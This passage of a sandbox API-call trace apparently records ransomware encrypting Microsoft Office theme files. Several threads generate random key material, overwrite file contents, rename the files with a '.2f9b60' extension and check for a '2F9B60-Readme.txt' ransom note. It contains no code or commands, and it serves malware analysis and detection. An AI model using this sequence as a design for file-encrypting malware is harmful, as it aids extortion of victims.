(in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0110.560] WriteFile (in: hFile=0x15e0, lpBuffer=0x20507690*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x32fcf950, lpOverlapped=0x0 | out: lpBuffer=0x20507690*, lpNumberOfBytesWritten=0x32fcf950*=0x144, lpOverlapped=0x0) returned 1 [0110.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0110.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859df0 [0110.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859df0) returned 1 [0110.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0110.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859df0 [0110.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0110.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859670) returned 1 [0110.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b859670 [0110.564] sprintf (in: _Dest=0x1b859670, _Format="%c%c" | out: _Dest="7e") returned 2 [0110.564] sprintf (in: _Dest=0x1b859672, _Format="%c%c" | out: _Dest="f0") returned 2 [0110.565] sprintf (in: _Dest=0x1b859674, _Format="%c%c" | out: _Dest="40") returned 2 [0110.565] sprintf (in: _Dest=0x1b859676, _Format="%c%c" | out: _Dest="e1") returned 2 [0110.565] sprintf (in: _Dest=0x1b859678, _Format="%c%c" | out: _Dest="55") returned 2 [0110.565] sprintf (in: _Dest=0x1b85967a, _Format="%c%c" | out: _Dest="91") returned 2 [0110.565] sprintf (in: _Dest=0x1b85967c, _Format="%c%c" | out: _Dest="f1") returned 2 [0110.565] sprintf (in: _Dest=0x1b85967e, _Format="%c%c" | out: _Dest="bb") returned 2 [0110.565] sprintf (in: _Dest=0x1b859680, _Format="%c%c" | out: _Dest="0e") returned 2 [0110.565] sprintf (in: _Dest=0x1b859682, _Format="%c%c" | out: _Dest="cb") returned 2 [0110.565] sprintf (in: _Dest=0x1b859684, _Format="%c%c" | out: _Dest="58") returned 2 [0110.565] sprintf (in: _Dest=0x1b859686, _Format="%c%c" | out: _Dest="2d") returned 2 [0110.565] sprintf (in: _Dest=0x1b859688, _Format="%c%c" | out: _Dest="d0") returned 2 [0110.565] sprintf (in: _Dest=0x1b85968a, _Format="%c%c" | out: _Dest="bc") returned 2 [0110.565] sprintf (in: _Dest=0x1b85968c, _Format="%c%c" | out: _Dest="6f") returned 2 [0110.565] sprintf (in: _Dest=0x1b85968e, _Format="%c%c" | out: _Dest="45") returned 2 [0110.565] sprintf (in: _Dest=0x1b859690, _Format="%c%c" | out: _Dest="ad") returned 2 [0110.565] sprintf (in: _Dest=0x1b859692, _Format="%c%c" | out: _Dest="5e") returned 2 [0110.565] RtlInitAnsiString (in: DestinationString=0x32fcf9c8, SourceString="7ef040e15591f1bb0ecb582dd0bc6f45ad5e" | out: DestinationString="7ef040e15591f1bb0ecb582dd0bc6f45ad5e") [0110.565] RtlAnsiStringToUnicodeString (in: DestinationString=0x32fcf998, SourceString="7ef040e15591f1bb0ecb582dd0bc6f45ad5e", AllocateDestinationString=1 | out: DestinationString="7ef040e15591f1bb0ecb582dd0bc6f45ad5e") returned 0x0 [0110.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b7ceb80 [0110.566] wcscat (in: _Dest=0x1cd64420, _Source="7ef040e15" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\7ef040e15") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\7ef040e15" [0110.566] wcscat (in: _Dest=0x1cd64420, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\7ef040e15.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\7ef040e15.2f9b60" [0110.566] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\7ef040e15.2f9b60", NtPathName=0x32fcf970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\7ef040e15.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0110.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x119720 [0110.566] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x32fcfa10, FileInformation=0x119720, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0110.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119720) returned 1 [0110.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0110.568] NtQueryInformationFile (in: FileHandle=0x15e0, IoStatusBlock=0x32fcf9d8, FileInformation=0x32fcf9e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x32fcf9d8, FileInformation=0x32fcf9e8) returned 0x0 [0110.568] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x32fcf9d8, FileInformation=0x32fcf9e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64420) returned 1 [0110.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceb80) returned 1 [0110.569] FlushFileBuffers (hFile=0x15e0) returned 1 [0110.580] CloseHandle (hObject=0x15e0) returned 1 [0110.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0110.581] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0110.581] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0110.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0110.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd644d0) returned 1 Thread: id = 1055 os_tid = 0x1724 [0110.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx")) returned 0x20 [0110.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx", dwFileAttributes=0x20) returned 1 [0110.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1574 [0110.536] GetFileSizeEx (in: hFile=0x1574, lpFileSize=0x3311fa40 | out: lpFileSize=0x3311fa40*=49025) returned 1 [0110.536] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0xbf7d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.536] ReadFile (in: hFile=0x1574, lpBuffer=0x3311f9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3311fa08, lpOverlapped=0x0 | out: lpBuffer=0x3311f9c0*, lpNumberOfBytesRead=0x3311fa08*=0x4, lpOverlapped=0x0) returned 1 [0110.538] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0110.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0110.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0110.539] NtQuerySystemTime (in: CurrentTime=0x3311f900 | out: CurrentTime=0x3311f900*=132462177160090000) returned 0x0 [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x77655f0b [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x1ef5e738 [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x17509d05 [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x1f3bb4e5 [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x1cd8032f [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x78cfc671 [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x728ebb34 [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x4c6a51cd [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x5f774b68 [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x29e8244a [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x13904381 [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x337e807d [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0xdad728a [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x1a537b87 [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x78a799bb [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x7fdba5c0 [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x6d9b9c19 [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x7b6854c7 [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x166bf0ea [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x604b7450 [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x2cd778e7 [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x1fdb40af [0110.539] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x4f84fac6 [0110.540] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x66208f39 [0110.540] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x11c039a0 [0110.540] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x7f045166 [0110.540] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x1eb8d23b [0110.540] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x36d8f329 [0110.540] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x35bd4b1 [0110.540] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x40393408 [0110.540] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x2351c5ea [0110.540] RtlRandomEx (in: Seed=0x3311f8f0 | out: Seed=0x3311f8f0) returned 0x5118e970 [0110.548] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.548] ReadFile (in: hFile=0x1574, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3311f960, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x3311f960*=0x3c00, lpOverlapped=0x0) returned 1 [0110.556] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0110.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0110.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a77f0) returned 1 [0110.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e84990 [0110.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0110.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7640 [0110.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7640) returned 1 [0110.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.558] WriteFile (in: hFile=0x1574, lpBuffer=0x41e84990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3311f960, lpOverlapped=0x0 | out: lpBuffer=0x41e84990*, lpNumberOfBytesWritten=0x3311f960*=0x3c00, lpOverlapped=0x0) returned 1 [0110.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e84990) returned 1 [0110.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0110.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f070 [0110.561] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0110.561] WriteFile (in: hFile=0x1574, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3311fa10, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x3311fa10*=0x110, lpOverlapped=0x0) returned 1 [0110.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0110.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859f10 [0110.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859f10) returned 1 [0110.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b859f10 [0110.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b050 [0110.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a60 [0110.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859a60) returned 1 [0110.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1cd971c0 [0110.572] sprintf (in: _Dest=0x1cd971c0, _Format="%c%c" | out: _Dest="ef") returned 2 [0110.572] sprintf (in: _Dest=0x1cd971c2, _Format="%c%c" | out: _Dest="d3") returned 2 [0110.572] sprintf (in: _Dest=0x1cd971c4, _Format="%c%c" | out: _Dest="ac") returned 2 [0110.572] sprintf (in: _Dest=0x1cd971c6, _Format="%c%c" | out: _Dest="7b") returned 2 [0110.572] sprintf (in: _Dest=0x1cd971c8, _Format="%c%c" | out: _Dest="c2") returned 2 [0110.572] sprintf (in: _Dest=0x1cd971ca, _Format="%c%c" | out: _Dest="74") returned 2 [0110.572] sprintf (in: _Dest=0x1cd971cc, _Format="%c%c" | out: _Dest="23") returned 2 [0110.572] sprintf (in: _Dest=0x1cd971ce, _Format="%c%c" | out: _Dest="0f") returned 2 [0110.572] sprintf (in: _Dest=0x1cd971d0, _Format="%c%c" | out: _Dest="10") returned 2 [0110.572] sprintf (in: _Dest=0x1cd971d2, _Format="%c%c" | out: _Dest="c7") returned 2 [0110.572] sprintf (in: _Dest=0x1cd971d4, _Format="%c%c" | out: _Dest="78") returned 2 [0110.572] sprintf (in: _Dest=0x1cd971d6, _Format="%c%c" | out: _Dest="d9") returned 2 [0110.572] sprintf (in: _Dest=0x1cd971d8, _Format="%c%c" | out: _Dest="c5") returned 2 [0110.572] sprintf (in: _Dest=0x1cd971da, _Format="%c%c" | out: _Dest="1c") returned 2 [0110.572] sprintf (in: _Dest=0x1cd971dc, _Format="%c%c" | out: _Dest="bf") returned 2 [0110.572] sprintf (in: _Dest=0x1cd971de, _Format="%c%c" | out: _Dest="b4") returned 2 [0110.572] sprintf (in: _Dest=0x1cd971e0, _Format="%c%c" | out: _Dest="a2") returned 2 [0110.572] sprintf (in: _Dest=0x1cd971e2, _Format="%c%c" | out: _Dest="86") returned 2 [0110.572] sprintf (in: _Dest=0x1cd971e4, _Format="%c%c" | out: _Dest="4b") returned 2 [0110.572] sprintf (in: _Dest=0x1cd971e6, _Format="%c%c" | out: _Dest="de") returned 2 [0110.572] sprintf (in: _Dest=0x1cd971e8, _Format="%c%c" | out: _Dest="c9") returned 2 [0110.573] sprintf (in: _Dest=0x1cd971ea, _Format="%c%c" | out: _Dest="8b") returned 2 [0110.573] sprintf (in: _Dest=0x1cd971ec, _Format="%c%c" | out: _Dest="47") returned 2 [0110.573] sprintf (in: _Dest=0x1cd971ee, _Format="%c%c" | out: _Dest="de") returned 2 [0110.573] sprintf (in: _Dest=0x1cd971f0, _Format="%c%c" | out: _Dest="d1") returned 2 [0110.573] sprintf (in: _Dest=0x1cd971f2, _Format="%c%c" | out: _Dest="89") returned 2 [0110.573] sprintf (in: _Dest=0x1cd971f4, _Format="%c%c" | out: _Dest="51") returned 2 [0110.573] sprintf (in: _Dest=0x1cd971f6, _Format="%c%c" | out: _Dest="ba") returned 2 [0110.573] sprintf (in: _Dest=0x1cd971f8, _Format="%c%c" | out: _Dest="32") returned 2 [0110.573] sprintf (in: _Dest=0x1cd971fa, _Format="%c%c" | out: _Dest="f8") returned 2 [0110.573] RtlInitAnsiString (in: DestinationString=0x3311fa88, SourceString="efd3ac7bc274230f10c778d9c51cbfb4a2864bdec98b47ded18951ba32f8" | out: DestinationString="efd3ac7bc274230f10c778d9c51cbfb4a2864bdec98b47ded18951ba32f8") [0110.573] RtlAnsiStringToUnicodeString (in: DestinationString=0x3311fa58, SourceString="efd3ac7bc274230f10c778d9c51cbfb4a2864bdec98b47ded18951ba32f8", AllocateDestinationString=1 | out: DestinationString="efd3ac7bc274230f10c778d9c51cbfb4a2864bdec98b47ded18951ba32f8") returned 0x0 [0110.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cf4ade0 [0110.574] wcscat (in: _Dest=0x20279a30, _Source="efd3ac7bc274230" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\efd3ac7bc274230") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\efd3ac7bc274230" [0110.574] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\efd3ac7bc274230.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\efd3ac7bc274230.2f9b60" [0110.574] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\efd3ac7bc274230.2f9b60", NtPathName=0x3311fa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\efd3ac7bc274230.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0110.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1b776af0 [0110.574] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x3311fad0, FileInformation=0x1b776af0, Length=0xd2, FileInformationClass=0xa) returned 0x0 [0110.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0110.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0110.578] NtQueryInformationFile (in: FileHandle=0x1574, IoStatusBlock=0x3311fa98, FileInformation=0x3311faa8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3311fa98, FileInformation=0x3311faa8) returned 0x0 [0110.578] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x3311fa98, FileInformation=0x3311faa8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4ade0) returned 1 [0110.580] FlushFileBuffers (hFile=0x1574) returned 1 [0110.585] CloseHandle (hObject=0x1574) returned 1 [0110.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0110.590] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0110.590] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0110.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0110.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64580) returned 1 Thread: id = 1056 os_tid = 0x1728 [0110.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx")) returned 0x20 [0110.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx", dwFileAttributes=0x20) returned 1 [0110.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1574 [0110.594] GetFileSizeEx (in: hFile=0x1574, lpFileSize=0x2402f780 | out: lpFileSize=0x2402f780*=22554) returned 1 [0110.594] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x5816, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.594] ReadFile (in: hFile=0x1574, lpBuffer=0x2402f700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2402f748, lpOverlapped=0x0 | out: lpBuffer=0x2402f700*, lpNumberOfBytesRead=0x2402f748*=0x4, lpOverlapped=0x0) returned 1 [0110.603] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b20 [0110.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7af0 [0110.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76d0 [0110.605] NtQuerySystemTime (in: CurrentTime=0x2402f640 | out: CurrentTime=0x2402f640*=132462177160870000) returned 0x0 [0110.605] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x2c1aa2b2 [0110.605] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x1b7ebf73 [0110.605] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x13ce4aaf [0110.605] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x6a7ae5f2 [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x6a3178 [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x62122441 [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x14915801 [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x12ba07c1 [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x5f3a276d [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x244d675d [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x71f6d60b [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x283ef250 [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x257ae5b2 [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x611af6f2 [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x5c54f566 [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x43b3959b [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x626308c9 [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x61ff0fee [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x16cd48ce [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0xb8ba097 [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x72e2907 [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x56fa7f7f [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x2f38a72a [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x51df629c [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x1511e241 [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x438b0b51 [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x68a65dcc [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x40c3792b [0110.606] RtlRandomEx (in: Seed=0x2402f630 | out: Seed=0x2402f630) returned 0x7f038b01 [0110.606] 